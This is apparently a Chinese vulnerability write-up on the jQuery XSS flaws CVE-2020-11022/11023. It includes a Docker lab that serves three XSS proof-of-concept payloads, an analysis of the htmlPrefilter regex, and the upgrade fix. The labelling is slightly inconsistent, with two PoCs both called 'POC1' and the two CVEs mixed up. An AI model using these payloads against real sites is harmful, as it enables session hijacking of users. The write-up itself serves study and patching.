前言
在jQuery版本1.0.3到3.5.0之间(包括1.0.3,但不包括3.5.0),将包含<option>
元素的HTML(即使已进行消毒处理)从不受信任的来源传递给jQuery的某些DOM操作方法(如.html()
、.append()
等)可能会导致执行不受信任的代码。该问题在jQuery 3.5.0中已得到修复。
1、漏洞概述
jQuery是美国John Resig程序员的一套开源、跨浏览器的JavaScript库。该库简化了HTML与JavaScript之间的操作,并具有模块化、插件扩展等特点。jQuery 1.0.3版本至3.5.0之前版本中存在跨站脚本漏洞。该漏洞源于WEB应用缺少对客户端数据的正确验证。攻击者可利用该漏洞执行客户端代码。关于此漏洞的详细信息请参阅下表。关于此漏洞的更多信息,请参阅阿里云漏洞库和NVD:
类型 | 详细信息 |
---|---|
CVE编号 | CVE-2020-11022 |
NVD评分 | 6.1 |
披露时间 | 2020-04-30 |
漏洞类型 | 跨站脚本 |
漏洞危害 | 劫持会话 |
影响范围 | 1.0.3<=jquery<3.5.0 |
是否有Patch | 是 |
Patch是否可用 | |
数据保密性 | 无影响 |
数据完整性 | 传输被破坏 |
攻击路径 | 远程 |
攻击复杂度 | 容易 |
2、漏洞复现
2.1、漏洞复现测试环境
软件环境 | 硬件环境 | 约束条件 |
---|---|---|
操作系统版本为ubuntu-22.04.1-desktop-amd64 | 分配4个处理器,每个处理器有4个内核,处理器内核总数为16 | 1.0.3<=jquery<3.5.0 |
Linux内核版本为5.15.0-43-generic | 内存16GB | |
Docker版本为24.0.7 | 硬盘400GB | |
Docker-Compose版本为2.18.1 | ||
使用的虚拟机管理器为VMware 17.0.0 |
2.2、漏洞复现具体步骤
首先请参阅“应用、系统库POC验证环境搭建规范”一文搭建Docker与Docker-Compose环境后,再参考下文进行漏洞复现。
- 首先来到系统的根目录中创建名为“PocV”的目录(如果此目录已经存在则无需创建),并进入此目录中,此目录作为各类应用、系统库的POC/CVE验证的总目录使用:
$ cd ~
$ mkdir PocV
$ cd PocV/
- 然后在此目录中创建名为“jQuery”的目录,(如果此目录已经存在则无需创建),并进入此目录中,此目录作为jQuery的POC/CVE验证的总目录使用:
$ mkdir jQuery
$ cd jQuery/
- 然后在此目录中创建名为“CVE-2020-11023”的目录,并进入此目录中,此目录作为jQuery的CVE-2020-11023的POC/CVE验证的总目录使用:
$ mkdir CVE-2020-11023
$ cd CVE-2020-11023/
- 然后在此目录中创建一个名为“Dockerfile”的文件,并编辑其,此文件就是用来构建用于POC/CVE验证的环境的:
$ touch Dockerfile
$ gedit Dockerfile
- 然后在打开的文件中输入如下内容,这些具体内容就是用来构建对应的环境的:
# 使用一个基础镜像,比如nginx
FROM nginx
# 写入POC源代码到指定文件中
RUN rm -rf /usr/share/nginx/html/index.html
RUN echo '<!DOCTYPE html>' > /usr/share/nginx/html/index.html && \
echo '<html>' >> /usr/share/nginx/html/index.html && \
echo ' <head>' >> /usr/share/nginx/html/index.html && \
echo ' <meta charset="utf-8">' >> /usr/share/nginx/html/index.html && \
echo ' <title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title>' >> /usr/share/nginx/html/index.html && \
echo ' <script src="https://code.jquery.com/jquery-1.7.1.min.js"></script>' >> /usr/share/nginx/html/index.html && \
echo ' </head>' >> /usr/share/nginx/html/index.html && \
echo ' <body>' >> /usr/share/nginx/html/index.html && \
echo ' <script>' >> /usr/share/nginx/html/index.html && \
echo ' function test(n,jq){' >> /usr/share/nginx/html/index.html && \
echo ' sanitizedHTML = document.getElementById("poc"+n).innerHTML;' >> /usr/share/nginx/html/index.html && \
echo ' if(jq){' >> /usr/share/nginx/html/index.html && \
echo ' $("#div").html(sanitizedHTML);' >> /usr/share/nginx/html/index.html && \
echo ' }else{' >> /usr/share/nginx/html/index.html && \
echo ' div.innerHTML=sanitizedHTML;' >> /usr/share/nginx/html/index.html && \
echo ' }' >> /usr/share/nginx/html/index.html && \
echo ' }' >> /usr/share/nginx/html/index.html && \
echo ' </script>' >> /usr/share/nginx/html/index.html && \
echo ' <h1>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</h1>' >> /usr/share/nginx/html/index.html && \
echo ' <p>PoCs of XSS bugs fixed in <a href="//blog.jquery.com/2020/04/10/jquery-3-5-0-released/">jQuery 3.5.0</a>. You can find the details in my blog post: <a href="//mksben.l0.cm/2020/05/jquery3.5.0-xss.html">English</a> / <a href="//masatokinugawa.l0.cm/2020/05/jquery3.5.0-xss.html">日本語</a>' >> /usr/share/nginx/html/index.html && \
echo ' </p>' >> /usr/share/nginx/html/index.html && \
echo ' <h2>PoC 1</h2>' >> /usr/share/nginx/html/index.html && \
echo ' <button οnclick="test(1)">Assign to innerHTML</button>' >> /usr/share/nginx/html/index.html && \
echo ' <button οnclick="test(1,true)">Append via .html()</button>' >> /usr/share/nginx/html/index.html && \
echo ' <xmp id="poc1">' >> /usr/share/nginx/html/index.html && \
echo ' <style>' >> /usr/share/nginx/html/index.html && \
echo ' <style /><img src=x οnerrοr=alert(1)>' >> /usr/share/nginx/html/index.html && \
echo ' </xmp>' >> /usr/share/nginx/html/index.html && \
echo ' </xmp>' >> /usr/share/nginx/html/index.html && \
echo ' <h2>PoC 2 (Only jQuery 3.x affected)</h2>' >> /usr/share/nginx/html/index.html && \
echo ' <button οnclick="test(2)">Assign to innerHTML</button> <button οnclick="test(2,true)">Append via .html()</button>' >> /usr/share/nginx/html/index.html && \
echo ' <xmp id="poc2">' >> /usr/share/nginx/html/index.html && \
echo ' <img alt="<x" title="/><img src=x οnerrοr=alert(1)>"' >> /usr/share/nginx/html/index.html && \
echo ' </xmp>' >> /usr/share/nginx/html/index.html && \
echo ' </xmp>' >> /usr/share/nginx/html/index.html && \
echo ' <h2>PoC 3</h2>' >> /usr/share/nginx/html/index.html && \
echo ' <button οnclick="test(3)">Assign to innerHTML</button> <button οnclick="test(3,true)">Append via .html()</button>' >> /usr/share/nginx/html/index.html && \
echo ' <xmp id="poc3">' >> /usr/share/nginx/html/index.html && \
echo ' <option><style></option></select><img src=x οnerrοr=alert(1)>' >> /usr/share/nginx/html/index.html && \
echo ' </style>' >> /usr/share/nginx/html/index.html && \
echo ' </xmp>' >> /usr/share/nginx/html/index.html && \
echo ' <div id="div"></div>' >> /usr/share/nginx/html/index.html && \
echo ' </body>' >> /usr/share/nginx/html/index.html && \
echo '</html>' >> /usr/share/nginx/html/index.html
# 暴露容器的80端口
EXPOSE 80
- 然后保存以上内容后退出,再在此目录中创建一个名为“docker-compose.yml”的文件,并编辑其,此文件就是用来启动用于POC/CVE验证的环境的:
$ touch docker-compose.yml
$ gedit docker-compose.yml
- 然后在打开的文件中输入如下内容,这些具体内容就是用来配置对应的环境的:
version: '3'
services:
cve-2020-11023:
build:
context: .
dockerfile: Dockerfile
ports:
- "8080:80"
container_name: cve-2020-11023
- 然后保存以上修改后退出,并执行如下命令来编译及启动用于POC/CVE验证的容器:
$ sudo docker-compose build
$ sudo docker-compose up -d
- 然后使用如下命令来查看本机的IP地址:
$ ifconfig
-
然后记录本机的IP地址:
-
然后执行如下命令来利用刚刚获取到的本机的IP地址来访问用于POC/CVE验证的网页:
$ firefox http://192.168.157.216:8080/
-
然后会出现如下图所示的内容,这里包含三个POC:
-
对于POC1,我们按照如下图选择,会出现弹窗,证明POC/CVE验证成功:
-
对于其余两个POC也是一样的验证方式,我们在此不再赘述。当我们对POC/CVE验证完毕后,就可以关闭浏览器,并在对应的终端中执行如下命令来停止我们正在运行的容器:
$ sudo docker stop $(sudo docker ps -q)
- 当我们做完以上操作后,就代表本次POC/CVE验证成功。然后我们可以使用如下命令查看一下本次测试所构建好的Docker镜像:
$ sudo ls -l /var/lib/docker/image
-
可以发现,本次测试所构建的Docker镜像的名称为“overlay2”:
-
最后,还可以查看一下本次测试所构建好的Docker容器:
$ sudo ls -l /var/lib/docker/containers
- 可以发现,本次测试所构建的Docker容器的ID为“b21ae4d22a4f3e91721c8096faf74a4b42741d322c447d8a9091284f84855496”:
3、漏洞原理
3.1、前置知识
产生原理:XSS(跨站脚本攻击)漏洞产生于未对用户输入进行充分验证和过滤的 Web 应用程序。攻击者通过注入恶意脚本代码,使用户在浏览器中执行这些脚本,从而导致恶意行为发生。这可以通过恶意注入脚本代码到网页中的用户可控输入点,如表单、URL参数等,实现对用户会话和敏感信息的攻击。
触发条件:攻击者需要在目标网站的输入点(如搜索框、评论框等)注入恶意脚本代码,并使受害者在浏览器中加载包含这些脚本的页面。用户访问了带有恶意脚本的页面,浏览器执行了这些脚本,导致攻击发生。
如何避免:有效的防御措施包括输入验证、输出编码和采用安全的开发实践。应该对用户输入进行严格验证,过滤掉潜在的恶意代码。输出时,使用合适的编码方式,例如将特殊字符转义为它们的HTML实体,以防止浏览器执行其中的脚本。另外,采用安全的开发实践,如使用安全框架、更新依赖库等,也是防范XSS攻击的关键。
3.2、漏洞分析
CVE-2020-11022是jQuery 3.x版本中的一个漏洞,涉及到jQuery在处理HTML字符串时的一个正则表达式替换问题。具体来说,这个漏洞的关键在于jQuery使用的htmlPrefilter方法。
在jQuery 3.x之前,htmlPrefilter方法使用了以下正则表达式(rxhtmlTag):
rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi
在jQuery 3.x之后,这个正则表达式被修改为:
rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi
这个正则表达式的作用是匹配自闭合标签,并将其替换为对应的开标签和闭标签。这种替换通常用于规范化HTML。
然而,CVE-2020-11022中的漏洞允许攻击者构造恶意的HTML字符串,绕过htmlPrefilter的规则,导致潜在的XSS攻击。具体来说,攻击者可以在属性中插入JavaScript代码。
- POC1:
<xmp id="poc1">
<style><style /><img src=x onerror=alert(1)>
</xmp>
经过jQuery的htmlPrefilter替换后的结果是:
<style><style></style><img src=x onerror=alert(1)>
在这个结构中,实际上<style></style>
被解析为样式元素的内容,而不是被视为自闭合的样式标签。这是jQuery替换机制导致的错误,导致浏览器在解析时产生了意外的结果。
在浏览器解析这个错误的HTML结构时,它将整个<style><style></style><img src=x onerror=alert(1)></style>
视为样式元素的内容,而<img src=x onerror=alert(1)>
则不再被解析为独立的标签。这使得<img src=x onerror=alert(1)>
的内容被视为样式元素的一部分,而不是独立的HTML元素。
因此,通过这种错误的替换,导致了浏览器在解析时将整个<style>
元素及其内容视为样式,而<img src=x onerror=alert(1)>
被嵌套在其中,从而触发了onerror事件,导致了XSS攻击。
- POC1:
<img alt="<x" title="/><img src=x onerror=alert(1)>
通过调用 jQuery 的 html() 方法,这个恶意字符串被传递到 htmlPrefilter 中,正则表达式的处理会导致将 x" 视为标签,并新增 </x"> 闭合标签,从而绕过消毒器规则。
最终的效果是在生成的 HTML 中插入了恶意的 JavaScript 代码:
<img alt="<x" title="/></x"><img src=x onerror=alert(1)>
4、漏洞修复
更新jQuery到3.5.0或更高版本。
5、参考文献
- CVE-2020-11022-CVE
- CVE-2020-11023-CVE
- CVE-2020-11022-NVD
- CVE-2020-11023-NVD
- 【JQuery-XSS漏洞(CVE-2020-11022/CVE-2020-11023)漏洞复现】
- jQuery Core 3.5 Upgrade Guide
- jQuery 3.5.0 Released!
总结
以上就是关于CVE-2020-11023的全部内容了,后续还会带来关于其它应用漏洞的漏洞复现、原理分析以及漏洞修复,我们下篇博客见!